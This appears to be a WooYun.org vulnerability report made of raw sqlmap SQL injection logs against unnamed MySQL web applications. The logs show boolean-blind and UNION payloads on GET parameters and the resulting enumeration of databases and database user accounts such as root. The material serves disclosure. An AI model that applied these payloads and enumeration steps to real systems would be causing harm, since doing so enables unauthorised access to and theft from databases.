WooYun.org

---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=3 AND 9875=9875
---
[20:41:32] [INFO] testing MySQL
[20:41:35] [INFO] confirming MySQL
[20:41:40] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[20:41:40] [INFO] fetching database names
[20:41:40] [INFO] fetching number of databases
[20:41:40] [INFO] retrieved: 6
[20:41:53] [INFO] retrieved: information_schema
[20:46:45] [INFO] retrieved: live_soccer
[20:50:13] [INFO] retrieved: mysql

[21:34:15] [INFO] testing MySQL
[21:34:16] [INFO] confirming MySQL
[21:34:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL < 5.0.0
[21:34:19] [WARNING] information_schema not available, back-end DBMS is MySQL <
5. database names will be fetched from 'mysql' database
[21:34:19] [INFO] fetching database names
available databases [2]:
[*] test
[*] test\_%

Payload: cat=102 AND 4106=4106
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: cat=-2946 UNION ALL SELECT CONCAT(CHAR(58,101,110,107,58),CHAR(112,
69,72,77,70,90,72,71,115,88),CHAR(58,97,113,100,58))#
---
[22:28:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 4
[22:28:37] [INFO] fetching database users
[22:28:40] [INFO] the SQL query used returns 16 entries
database management system users [8]:
[*]
[*] hk
[*] psauth
[*] readonly
[*] root
[*] web
[*] web_ro